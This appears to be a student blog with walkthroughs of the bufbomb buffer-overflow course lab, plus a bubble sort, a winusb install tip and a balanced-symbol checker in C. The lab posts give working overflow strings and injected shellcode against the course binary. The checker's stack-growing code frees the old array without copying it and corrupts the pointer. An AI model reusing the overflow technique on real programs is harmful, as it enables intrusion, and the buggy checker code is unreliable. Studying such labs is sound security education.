Breakpoint 1, 0x08049093 in getbuf ()(gdb) disas bang
Dump of assembler code for function bang:
0x08048c0b <bang+0>:    push   %ebp <= bang function address
0x08048c0c <bang+1>:    mov    %esp,%ebp
0x08048c0e <bang+3>:    sub    $0x8,%esp
0x08048c11 <bang+6>:    mov    0x804c1ec,%eax <= global_value address
0x08048c16 <bang+11>:    cmp    0x804c1e4,%eax
0x08048c1c <bang+17>:    jne    0x8048c3c <bang+49>
0x08048c1e <bang+19>:    mov    %eax,0x4(%esp)
0x08048c22 <bang+23>:    movl   $0x804a064,(%esp)
0x08048c29 <bang+30>:    call   0x8048870 <printf@plt>
0x08048c2e <bang+35>:    movl   $0x2,(%esp)
0x08048c35 <bang+42>:    call   0x80490a0 <validate>
0x08048c3a <bang+47>:    jmp    0x8048c4c <bang+65>
0x08048c3c <bang+49>:    mov    %eax,0x4(%esp)
0x08048c40 <bang+53>:    movl   $0x804a19f,(%esp)
0x08048c47 <bang+60>:    call   0x8048870 <printf@plt>
0x08048c4c <bang+65>:    movl   $0x0,(%esp)
0x08048c53 <bang+72>:    call   0x8048930 <exit@plt>
End of assembler dump.
(gdb) x/20wx $esp <= look at your $esp in 20 words
0x55682f88 <_reserved+1036168>:    0x55682f90    0x006cd736    0x61616161    0x61616161
0x55682f98 <_reserved+1036184>:    0x61616161    0x61616161    0x61616161    0x61616161
0x55682fa8 <_reserved+1036200>:    0x61616161    0x61616161    0x61616161    0x30303030: end
0x55682fb8 <_reserved+1036216>:    0x007f9f00    0x55686018    0x00000000    0x55682fe0
^^overflow address
0x55682fc8 <_reserved+1036232>:    0x006e7ce3    0x007fa4c0    0x0804a22e    0x55682fec
(gdb) quit
quit your gdb and now create your exploit buffer overflow file replace 30 30 30 30 by the overflow address
[plueonde@bert buflab-handout]$ vim bang.txt
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  b8 2f 68 55
Then generate the assembly.s
[plueonde@bert buflab-handout]$ vim assembly.s
movl   $0x34fd7256,0x804c1ec #move cookie to global value address
push   $0x08048c0b                   # push it into the bang address
ret                                               # return
save quit and compile it
[plueonde@bert buflab-handout]$ gcc -c assembly.s
[plueonde@bert buflab-handout]$ objdump -d assembly.o > assembly.d
[plueonde@bert buflab-handout]$ cat assembly.d
assembly.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0:    c7 04 25 ec c1 04 08     movl   $0x34fd7256,0x804c1ec
7:    56 72 fd 34
b:    68 0b 8c 04 08           pushq  $0x8048c0b
10:    c3                       retq
[plueonde@bert buflab-handout]$  coppy the instruction and add it to the bang.txt
[plueonde@bert buflab-handout]$ vim bang.txt
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  b8 2f 68 55 c7 04 25 ec c1 04 08 56 72 fd 34 68 0b 8c 04 08 c3 
save and quit and try it out
[plueonde@bert buflab-handout]$ ./hex2raw < bang.txt > bang-raw.txt
[plueonde@bert buflab-handout]$ ./bufbomb -u plueon2 < bang-raw.txt
Userid: plueon2
Cookie: 0x34fd7256
Type string:Bang!: You set global_value to 0x34fd7256
VALID
NICE JOB!
congratulation.....


Bufbom Phase 1


getbuf[plueonde@bert buflab-handout]$ gdb bufbomb
GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-45.el5)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /mnt_nfs/home3/ugrad3/plueonde/Downloads/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) b getbuf
Breakpoint 1 at 0x8049088
Run your cookie
(gdb) r -u plueon2
Starting program: /mnt_nfs/home3/ugrad3/plueonde/Downloads/buflab-handout/bufbomb -u plueon2
Userid: plueon2
Cookie: 0x34fd7256
Breakpoint 1, 0x08049088 in getbuf ()
Goal of pahse 1 is to overflow the buffer and inject the fizz address to the getbuf function
Breakpoint 1, 0x08049088 in getbuf ()
(gdb) disas fizz
Dump of assembler code for function fizz:
0x08048c58 <fizz+0>:    push   %ebp <= address of fizz function
0x08048c59 <fizz+1>:    mov    %esp,%ebp
0x08048c5b <fizz+3>:    sub    $0x8,%esp
0x08048c5e <fizz+6>:    mov    0x8(%ebp),%eax
0x08048c61 <fizz+9>:    cmp    0x804c1e4,%eax
0x08048c67 <fizz+15>:    jne    0x8048c87 <fizz+47>
0x08048c69 <fizz+17>:    mov    %eax,0x4(%esp)
0x08048c6d <fizz+21>:    movl   $0x804a1bd,(%esp)
0x08048c74 <fizz+28>:    call   0x8048870 <printf@plt>
0x08048c79 <fizz+33>:    movl   $0x1,(%esp)
0x08048c80 <fizz+40>:    call   0x80490a0 <validate>
0x08048c85 <fizz+45>:    jmp    0x8048c97 <fizz+63>
0x08048c87 <fizz+47>:    mov    %eax,0x4(%esp)
0x08048c8b <fizz+51>:    movl   $0x804a08c,(%esp)
0x08048c92 <fizz+58>:    call   0x8048870 <printf@plt>
0x08048c97 <fizz+63>:    movl   $0x0,(%esp)
0x08048c9e <fizz+70>:    call   0x8048930 <exit@plt>
End of assembler dump.
(gdb) quit
Next step create the buffer overflow to fizz function
using hex2raw to generate string
generate 61 indicating letter a in hexadecimal  followed by the reverse address of the smoke function
[plueonde@bert buflab-handout]$ vim exploit2.txt
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
58 8c 04 08
Save the file and test it out
[plueonde@bert buflab-handout]$ cat exploit2.txt | ./hex2raw | ./bufbomb -u plueon2
Userid: plueon2
Cookie: 0x34fd7256
Type string: You called fizz()  <= complete the task
VALID
NICE JOB!

the Easiest way to make a bootable USB flash drive in Ubuntu

By using  Winusb


install winusb using terminal

sudo add-apt-repository ppa:colingille/freshlight
sudo apt-get update
sudo apt-get install winusb
 
 
 
then choose your iso image file then your destination USB flash drive 
 

Good luck 



Tuesday, January 7, 2014

Bufbom Phase 0



Introduction


       This assignment will help you develop a detailed understanding of IA-32 calling conventions and stack
organization. It involves applying a series of buffer overflow attacks on an executable file bufbomb.
Note: In this project, you will gain firsthand experience with one of the methods commonly used to exploit
      security weaknesses in operating systems and network servers. Our purpose is to help you learn about the
runtime operation of programs and to understand the nature of this form of security weakness so that you
can avoid it when you write system code. We do not condone the use of this or any other form of attack to
gain unauthorized access to any system resources. There are criminal statutes governing such activities.
Logistics
    As usual, this is an individual project.We generated the projet using gcc’s -m32 flag, so all code produced by the compiler follows IA-32 rules,
even if the host is an x86-64 system. This should be enough to convince you that the compiler can use any
calling convention it wants, so long as it’s consistent.
Hand Out Instructions
You can obtain your buffer bomb by pointing your Web browser at:
http://bert.cs.uic.edu:15213/ The server will return a tar file called buflab-handout.tar to your browser. Start by copying buflab-handout.tar to a (protected) directory in which you plan to do your work. Then give the com-
mand “tar xvf buflab-handout.tar”. This will create a directory called buflab-handout containing the following three executable files: After you untar your buflab you should direct your terminal to buflab-handout foloder


Example
[plueonde@bert buflab-handout]$Generate cookie : ./makecookie  " your netid"[plueonde@bert buflab-handout]$ ./ makecookie plueon2
Test out the bufbomb:[plueonde@bert buflab-handout]$ ./bufbomb -u plueon2
Userid: plueon2
Cookie: 0x34fd7256
Type string:abcdefg <= your string
Dud: getbuf returned 0x1 <=status
Better luck next timenow you have to check your buffer length  , to do that just go to gdb bufbomb set breakpoint at getbuf[plueonde@bert buflab-handout]$ gdb bufbomb
GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-45.el5)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /mnt_nfs/home3/ugrad3/plueonde/Downloads/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) b getbuf
Breakpoint 1 at 0x8049088
Run your cookie
(gdb) r -u plueon2
Starting program: /mnt_nfs/home3/ugrad3/plueonde/Downloads/buflab-handout/bufbomb -u plueon2
Userid: plueon2
Cookie: 0x34fd7256
Breakpoint 1, 0x08049088 in getbuf ()
Goal of pahse 0 is to overflow the buffer and inject the smoke address to the getbuf function
Check the length of the buffer: after you have the buffer length and the address of smoke quit the gdb bufbomb
(gdb) p/d ($ebp-$esp)
$1 = 40 <= length of the buffer
(gdb) disas smoke
Dump of assembler code for function smoke:
0x08048ca3 <smoke+0>:    push   %ebp <= address of the smoke function
0x08048ca4 <smoke+1>:    mov    %esp,%ebp
0x08048ca6 <smoke+3>:    sub    $0x8,%esp
0x08048ca9 <smoke+6>:    movl   $0x804a1db,(%esp)
0x08048cb0 <smoke+13>:    call   0x80488d0 <puts@plt>
0x08048cb5 <smoke+18>:    movl   $0x0,(%esp)
0x08048cbc <smoke+25>:    call   0x80490a0 <validate>
0x08048cc1 <smoke+30>:    movl   $0x0,(%esp)
0x08048cc8 <smoke+37>:    call   0x8048930 <exit@plt>
End of assembler dump.
(gdb) quit
Next step create the buffer overflow to smoke function
using hex2raw to generate string
generate 61 indicating letter a in hexadecimal  followed by the reverse address of the smoke function
[plueonde@bert buflab-handout]$ vim exploit.txt
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
a3 8c 04 08
Save the file and test it out
[plueonde@bert buflab-handout]$ cat exploit.txt | ./hex2raw | ./bufbomb -u plueon2
Userid: plueon2
Cookie: 0x34fd7256
Type string:Smoke!: You called smoke()  <= complete the task
VALID
NICE JOB!
 

Bubble Sort


#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void bubbleSort(int *array,int n){
int i,j;
for( i=0; i<n; i++) //loop through all of element in the arraj
{
for( j=0; j<n-1; j++)//from the bigining of the arraj to the last element
{
if(array[j]>array[j+1])//if the arraj of the left element > arraj of the adjason element
{
int temp = array[j+1]; //create a temp element = the adj-son element
array[j+1] = array[j];// move the adj-son element to the left element
array[j] = temp; // move the left to the adj-son
}
}
}
}

int main(){
int arr[]= {1,4,5,6,9,20,49,7};
int n= sizeof(arr)/sizeof(arr[0]);
bubbleSort(arr,n);
int i;
for(i=0; i < 8; i++){
printf("%d ",arr[i]);
}
return 0;
}

Balanced Symbol Checker


Balanced Symbol Checker



For this lab, write a C program that will determine whether input is given with properly balanced
symbols. We will often use symbols together to specify the beginning and ending of an item, such as
the use of parentheses in a mathematic expression or the use of curly braces in a C, C++ or Java
program. For this program, we will be checking the following symbol pairs:
• parentheses: ( )
• curly braces: { }
• square brackets: [ ]
• angle brackets: < >
This program will require the use of a stack implemented in a dynamic array. This dynamic array is
to grow to a larger size when a push operation would be done to a full array causing an array
overflow. For this program, your dynamic array is to start with 2 positions in the array. When the
array needs to grow, it size is to grow by 2 additional positions each time (note the array to grow in
size from 2 to 4 to 6 to 8 to 10 to ...).
The push operation is now defined as follows:
if (the stack array if full)
grow the array
add the value to the stack array
increment the top-of-stack value
The grow operation is defined as follows:
Allocate a new dynamic array of the larger size
Copy the existing values from the current stack array to the new dynamic array
Deallocate the current stack array
Have the stack array variable refer/point to the new dynamic array
Update the maximum stack size variable Input The input for this program will come from standard input. Each line of input will be a single
expression that is to be checked for balanced symbols. You may assume that each line of input is less
than 300 characters long. Since the only input we really care about are the 8 characters that form the
4 symbol pairs, any other input on the line can be ignored. The only exception is if the input on the
line just contains the letter q. In this case, quit the program.
Stack Use Algorithm
To check for balance symbols in an expression, the expression is read from left to right.
When an opening symbol is encountered, this symbol is pushed onto the stack. The opening symbols
are: ( { [ and <.
When a closing symbol is encountered, check the symbol at the top of the stack.
• If the symbol on the top of the stack is the corresponding opening symbol, pop the stack and
continue.
• If the symbol on the top of the stack is NOT the corresponding opening symbol, the expression
is NOT balanced and the wrong closing symbol was encountered.
• If the stack is empty, the expression is NOT balanced and there is a missing opening symbol.
When the end of the expression is encountered (i.e. the end of the input line), check to see if the stack
is empty.
• If the stack is empty, then the expression was balanced.
• If the stack is NOT empty, the expression was not balanced and there is a missing closing
symbol.
Output
For each line of input, your program should display the input and specify whether the expression
• is balanced
• is unbalanced because it is expecting a different closing symbol (the wrong closing symbol is
on the top of the stack)
• is unbalanced because it is missing an opening symbol (stack is empty when a closing symbol is
encountered)
• is unbalanced because it is missing a closing symbol (line ends while the stack is not empty)

code example
/*plaimanus Lueondee*/
// credit professor Pat Troy UIC
#include <stdio.h>
#include <stdlib.h>
#define TRUE 1
#define FALSE 0
#define MAX 301
#define QUIT "q"
  

typedef struct
{
  char *stkk;
  int stackSize;
  int top;
} stack;
typedef stack * stack_ptr;

    void stack_push (stack * s, char c);
    char stack_pop (stack * s);
    int stack_is_empty (stack * s);
   stack *stack_create (int n);
    void stack_delete (stack *stk);
    int check_balance (char *exp, int *error_at);
   int debug= FALSE;
    int check_balance (char *exp, int *error_at){
char paranthesis = '\0';
char temp;
int error = FALSE;
int i =0;
stack *stk;
stk = stack_create (MAX);
while (exp[i] != '\0')
{
paranthesis = exp[i];
if (paranthesis == '(' || paranthesis == '{' || paranthesis == '[' || paranthesis == '<')
stack_push (stk, paranthesis);
else if (paranthesis == ')' || paranthesis == '}' || paranthesis == ']'||  paranthesis == '>')
{
if (stack_is_empty (stk))
{
error = TRUE;
break;
}
temp = stack_pop (stk);
if (!((temp == '(' && paranthesis == ')') || (temp == '{' && paranthesis == '}')
||(temp == '[' && paranthesis == ']')||(temp == '<' && paranthesis == '>')))
{
error = TRUE;
break;
}
}
i++;
}
if (!stack_is_empty (stk))
error = TRUE;
if ((error == TRUE) && (error_at != NULL))
*error_at = i + 1;
stack_delete (stk);
return error;
}
void stack_push (stack_ptr stk, char paranthesis)
{
if (stk->top >= MAX)
{
//double stack size
printf ("\nStack FULL creating new stack");
char *temp = (char *)malloc( sizeof(char) * (stk->stackSize + 2) );
free(stk->stkk);
stk->stkk = temp;
stk->stkk += 2;
}
stk->stkk[++(stk->top)] = paranthesis;
}
char stack_pop (stack * stk)
{
if (stk->top <= -1)
return '\0';
return stk->stkk[(stk->top)--];
}
int stack_is_empty (stack * stk)
{
if (stk->top <= -1)
return TRUE;
return FALSE;
}
stack *stack_create (int n)
{
stack *temp;
temp = malloc (sizeof (stack)+2);
if (temp == NULL)
{
printf ("Terminating\n");
exit (1);
}
temp->stkk = malloc (sizeof (char) * n+2);
if (temp->stkk == NULL)
{
printf("Terminating\n");
exit (1);
}
temp->top = -1;
return temp;
}
void stack_delete (stack *stk)
{
if (stk != NULL)
{
if (stk->stkk)
free (stk->stkk);
free (stk);
}
}
main (int argc,char *argv[])
{
char exp[MAX];
int  retval;
int  error_at;
debug = FALSE;
if( argc > 2 ) {
printf("Please use: %s[-d]\n", argv[0]);
exit(0);
}
if( argc == 2 && argv[1][0] == '-' && argv[1][1] == 'd' ) {
printf("\nDebuging information\n");
debug = TRUE;
}
while( TRUE ) {
printf("Enter your expression or type 'q' to leave: ");
fgets(exp, MAX, stdin);
if(exp[0]=='q') {
exit(0);
}
retval = check_balance (exp, &error_at);
if(retval == FALSE){
printf ("\n%s\n",exp);
printf ("\nExpression are balance:\n");
}
else {
int i;
printf ("\nExpression is not balance:\n");
printf ("\n%s\n",exp);
printf("missing it's pair at %d\n",error_at);
}
}
return 0;
}